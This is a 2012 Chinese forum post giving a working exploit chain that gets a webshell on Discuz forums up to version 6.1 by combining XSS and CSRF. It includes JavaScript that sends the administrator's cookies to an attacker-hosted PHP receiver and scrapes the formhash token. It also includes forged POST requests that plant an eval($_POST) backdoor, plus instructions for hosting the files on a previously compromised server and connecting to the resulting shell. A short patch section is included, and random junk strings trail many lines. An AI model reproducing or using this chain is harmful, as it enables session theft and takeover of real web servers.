找回密码
 立即注册
查看: 4422|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell% W+ c) ?1 L. n* [3 C& I3 ]
By racle @tian6.com5 Y! i$ g1 S6 P0 d' J) z
欢迎转帖.但请保留版权信息.
6 {; p) t8 a7 f$ i& x受影响版本iscuz<=6.1.0,gbk+utf+big5- }: P+ P7 y+ w, t

) t' i- D' Q4 P- |+ T新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
+ h% H1 \4 j+ }, Z6 C/ s* ~
9 g8 @. {. {- s
, D0 l. d" l* @" z3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706" G$ Y4 [2 o5 H$ s- q
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.+ U+ B' Y7 y# z# j' ^: z) l

) U; \- r1 c8 z  Q分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..  H; @' c3 f+ [" f" s9 ^8 K& T% {
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
# M7 T% _3 S2 o; R! }* x& i  W4 P9 L4 j2 @/ P
& y/ q6 f: T: u/ Q+ T9 l' Y7 R
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------  M. W7 x0 w! ~  _/ f  A  `

6 a- M- A6 y) a- _) D0 x
6 r9 S+ r! K# o0 }* pproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
5 e# X( s1 j3 V7 ?9 r- W
, E% u2 x# K; u; i+ c' gproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.. w( Q" z% \+ [; E6 u; Y

3 q4 R8 Y; S9 vproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
4 c# a  Z9 A# Z- y# q& ~
, x# H" b( @( C: ~6 W/ s( R# \: n, X% R) M7 e" k9 `6 e$ K
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {- g: \6 G% d* ?; K# E
$ k9 O( S/ S0 I- b: P9 K
        global $runwizardfile, $runwizardhistory;
- G* m  @; D( j4 f5 t: i
5 a4 T6 v6 ~" p4 E        $fp = fopen($runwizardfile, 'w');
3 r0 ?2 |* h/ F6 J- h
$ e* n& G( T. @' ]$ t2 V        fwrite($fp, serialize($runwizardhistory));
% `, c, o! Z* `1 a1 [, g# `3 ^" [  A: t3 }" F  C
        fclose($fp);
! W3 D" Q; H6 W. h' p8 N
& c7 y! O4 m6 J' K% i5 F* \$ H}. `9 F$ q0 C. B  ~2 ~1 i# Y5 E
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.- Z$ o/ L' `  ?, |6 F0 ^  R! k) C
以下是修补的办法:function saverunwizardhistory() {$ x+ {$ B/ ^+ r/ e

7 Y. c0 l# J1 v* }, A        global $runwizardfile, $runwizardhistory;
2 ]' b) y+ z6 B4 M8 f  l
0 j5 M& h) n. ~. i5 ?$ X        $fp = fopen($runwizardfile, 'w');- u9 l# K; \/ S* `) r

* X* ~2 k" M" z4 V        $s = '<?php exit;?>';# W8 `4 f+ g0 N5 B9 }
, M. q* Y' V& C$ m) v
        $s .= serialize($runwizardhistory);1 b9 O8 M1 u5 K9 J5 L/ B/ K( i
$ P& c9 f0 f, E' _! W7 m7 v# a
        fwrite($fp, $s);+ I& z) X2 H7 f9 u$ U! s" G
5 U( [# e4 H/ v- z7 {/ t8 j
        fclose($fp);
" f. [1 A, W/ f; u
: g. T) P1 L& Z' U% _  p$ D' @/ i; W}  E8 E0 a" n7 u: ^
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行., [5 l' F8 K; @$ B- v3 @

* Y+ _1 f  u7 l5 c! t# d8 P
! t; Z5 i3 x0 e( X) d" t  Y' G# |5 E- [5 s$ l8 g
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------5 @8 b$ q  t1 D; P: V( o

" k5 G/ V4 r0 M5 B# ^9 O$ f* k( Q) T7 k" X; _. r8 F9 `: A
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了., V8 W/ A( W) E7 w" j3 a" i! l

4 P  P6 U* z! \0 X; x6 [: @; L我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.$ p) ~" ^' N+ U+ \7 z
! l- s7 {( {' v9 o6 `8 {/ N
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
- c. _! S: s) W9 ~2 ^( r+ ^) f) k9 v8 R" Z7 }1 w
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:2 I3 W: H6 s, F! L' }2 m$ N6 [4 H

( k3 B. M$ K4 [7 H6 @, Cvar url="http://目标网站/admincp.php";      
: O0 M' O! u% z
/ n* F+ r' B$ B9 h) P/*获得cookies*/
! D, u+ ~0 X: @+ a1 R3 B% ]
6 x1 K7 x: y" }4 a2 c- \. {, wfunction getURL(s) {* J0 i( @" d# w
# X/ a( k+ b/ U0 s8 \# F8 W
var image = new Image();$ I0 e& C9 f& T. A. l$ `# y
6 T6 e2 A4 M( S) o
image.style.width = 0;; d6 E3 c, u- d9 q5 u- b8 w1 v" |
3 p/ M5 [6 b) e2 ^  Z$ ~
image.style.height = 0;; V& k* X) Y: u$ `+ h0 ?7 v
1 b9 F! i* L% p
image.src = s;
; L4 r5 P" C; @; Q  @6 O+ T" I% _- d) F
}
: X( O, V1 m& z2 }( G+ ]; b3 A" l4 Q9 k$ D; {; N, p
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php
3 P- L. I' E2 a! I' J& K. U) ~, d复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
* I) ~0 `4 Y: m7 ]2 W2 M复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) - V8 K9 f* W4 [: Q0 U! ^; p

/ z1 _7 ^# \8 I( g3 g: C9 @& c2 O. N
1 `$ l5 z3 O. \获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";; D1 W1 b/ r" L7 {# c6 _  f, W# C" R

3 @) s% J$ \4 ~2 A8 P% y
/ }- B) c( G, `/ z) p5 j5 P% J& ?. c8 u1 P
/*hash*/' U6 U1 C# ]1 L  o  D
6 b# `* M" ^) h% n
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");' v: j& m$ O- R0 w+ k; N# g

7 J( o( a, v) ~+ x. N# @  c. wxmlHttpReq.open("GET", url+"admincp.php?action=home", false);
* Z7 e2 z: Y) D8 x* {/ O' M8 ?# K+ `
xmlHttpReq.send();
! b6 |$ S3 U, [" |+ ^8 C5 T
4 N. a) s' S7 d. P$ v: Q+ ^( ~var resource = xmlHttpReq.responseText;
2 @. D" |( a. }% o% r
( z( x9 D  `4 J% ?: B  x1 Uvar numero = resource.search(/formhash/);
9 b, f+ X8 [. p+ p$ f% Y! u1 e# h  J- G
4 c- r1 B+ j2 }6 j/ h* Y" \; jvar formhash=encodeURIComponent(resource.substr(numero+17,8));
" w" n; T3 e4 W/ @& X
. F  \. E" `8 n  O2 V5 Q+ _# a$ h  F( m- \9 D

# f- Z' H! \% g3 [. G! mvar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 " G! p: C' o+ z  V) o0 e

8 e0 Y  }0 |. n; wxmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 4 p! ^$ v- O) C. m

2 D1 k! w1 ]  M* }xmlHttpReq.setRequestHeader("Referer", url);* f$ d! G$ ~" D2 |- a% x

& {8 g$ f# E$ l& Z% t4 Z: m* yxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");$ _1 c# m. U! F" [8 p3 S

" E! ~" h3 [9 l: \xmlHttpReq.setrequestheader("content-length",post.length);
( B  x) s6 o; L/ `. u( t4 c
, z# c) Z3 P4 z4 Z/ L8 PxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); 2 {) v6 D% L4 d
  J5 Y5 y( `" K' Q
xmlHttpReq.send(post);//发送数据
0 X' {4 o8 I1 |0 C复制代码这里HASH我假设正确,这样提交,也无须cookies1 M6 k0 g, ^6 u+ p; H, N  [, ^

4 r5 ^: n9 [6 I" W1 O, J再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
% T8 l" z; \/ M0 @  b, |& L
+ J: X+ F( o8 u: Dif (!$sock) die("$errstr ($errno)\n");! [# }9 W1 c. T% B& ^- j

. O( O; _! R5 t/ z/ Y) g$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
2 t9 A( ]% n/ {( d( g* N8 I2 X) E2 b- @7 Z  h; [
: `6 R  f: ~8 n, A# m

# s9 {" }; @+ y! w$ H" ~* W& C- g4 C, Dfwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
5 f6 J- O( v/ g0 J9 h: x
) |. R% W2 d# Nfwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
: D; m' p+ C9 I$ y, i' V  L/ Z
, h0 [9 z& q# f; l- nfwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");, w2 C1 d. C, l

9 n" V( ^& K% K  ^7 L, h0 m# z) h* Tfwrite($sock, "Accept-Language: zh-cn\r\n");
+ f" W* K. b) y0 C* V
4 w/ J; B- g+ P! Mfwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
3 x/ D9 S; t* B
1 Q# N" Z: V0 G  K2 u; ^9 Cfwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
2 Q0 x/ Z' h+ V8 t" \$ v' @2 l7 Z0 N& {% L
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");1 X: Q( I( F  ]' p) F

9 g6 n* v/ t/ Z, U- \% B( _fwrite($sock, "Host: $url\r\n");3 A+ ~2 t% Q4 E1 x

% m( R: c5 [  @* G# f( h) _- [fwrite($sock, "Content-Length: ".strlen($data)."\r\n");+ u* r) v' H" u. V8 S! V" A1 A

! O9 I6 q/ M, X; ~4 zfwrite($sock, "Connection: Keep-Alive\r\n");
# [" z4 E! b* Z, s' P' d9 U6 |. o/ T- r" w
fwrite($sock, "Cache-Control: no-cache\r\n");
4 t! E/ y- z5 d* n1 S# y5 K, `+ z
5 D& b& c# ?3 Y; A# Hfwrite($sock, "Cookie:".$cookies."\r\n\r\n");
2 p- E1 n8 D6 r/ F+ K
% [. D% m* e: i1 N2 H8 x% Qfwrite($sock, $data);0 I0 z& @. e$ x. S$ A

# c  R. t* W7 d! [$ Y: A7 u9 H+ B% \3 C8 K# p

8 M4 m- l7 h% [# s$headers = "";* U+ ~4 R" d( Z6 X1 e

6 H* V/ a6 V9 S5 K6 G3 Jwhile ($str = trim(fgets($sock, 4096)))
) B9 f: @  v" N! P% e% k
  g. |+ p( t9 ]     $headers .= "$str\n";
7 X1 i; B7 N$ K# C! J+ ]  T" B0 `
+ Y/ x  \; t6 b* F  [+ @echo "\n";) L( @. t* _: ]

& }1 [' J7 G5 z! D$body = "";
; g( T9 w( A8 \2 r5 ~
+ A4 p8 M* }5 \; }3 T1 n7 dwhile (!feof($sock))
7 Q( u3 H! n; i( x& r" C  Y5 L- y1 v- H4 o& c* b; v3 k1 K
     $body .= fgets($sock, 4096);2 Z% \2 c0 ?: `( V" H+ I

; s. _: v$ T" o/ q. G8 _( |fclose($sock);+ [$ t  C- y7 Q. [- j
( X: A1 w) K4 q/ s8 S
echo $body;
( q  e$ l. W* _; A, F5 z$ d$ Z复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^# Z7 J5 D1 {4 Y

( v" t! J2 Q* X; Q
1 V  M* q+ m& S5 ~) ?4 x; Y7 S-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
0 }7 z. m$ |. A. b5 ?0 p0 P
: e- a5 ]/ `# Y4 e( u
5 B0 c, l! T. k! H1HP SOCKET利用方法首先打开racle.js" L0 m4 M; e1 F0 B) P; |

8 l; ]% ?2 n7 N2 O  a! Yvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home) g# W* E- A- B. W! N$ U

! s$ a/ _7 b( [/ e4 h& z& j3 v8 V/ I8 P; {# {
" H; y* `, f9 B
然后打开racle@tian6.php$ M. }8 o& W. i# H/ {  W5 V

( O2 G7 }+ L) ~7 S# a7 l$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com7 Z$ H0 a3 M9 `# j. k- q. t

1 ~6 G( H& `/ v
& Z: m1 `2 N3 p4 t" p. i
5 I  m; r& X- M( v( ?& K3 f如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
" ]* D! H" D; J2 U& @( \
" ~2 p* u: X4 C6 _+ b- L# z* NgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
2 t" v2 o+ B0 O8 I- t3 \# ~) ]' {& N) }5 J8 c/ N3 e

& X; S4 U) d! F; B) I0 F: m
  I7 `+ Q& R% }+ F- ngetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));" d, n$ o" R# J0 j$ d7 s7 S
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
% k& j3 h/ K: x, W% A' |" W" E# G3 f& s& ]& Q- Q2 a

$ J. b4 e$ [3 @( V( u3 i7 r# Z. Z0 u& t! I5 w; B& {" e! o
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:* k* o  H- t3 k

; Q9 z1 C2 I# S3 `# o1 jvar formhash=encodeURIComponent(resource.substr(numero+17,8));
+ K& I. [: y; ^- o: V4 j, B9 `3 j) T7 t
+ u3 b5 J, U% b. \( g/ e
$ A- d3 V  Q* Z/ ?
var formhash=encodeURIComponent(resource.substr(numero+9,8));, Y. O" B) G0 e1 w+ L' G1 e! p
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
( x" L- R) g2 e9 j- I$ Q+ D6 K: P- p5 L( K
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
  j- x% }3 [. Y! h3 Z1 z3 k* U6 o
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
  S. }2 O! E) h6 y1 j! r1 b
" t: B& p: O. H& `& {不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.# A! E  y( J7 u/ |( z, d6 u

4 ^7 |; V0 @5 G& u7 ^6 `5 g+ M" r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表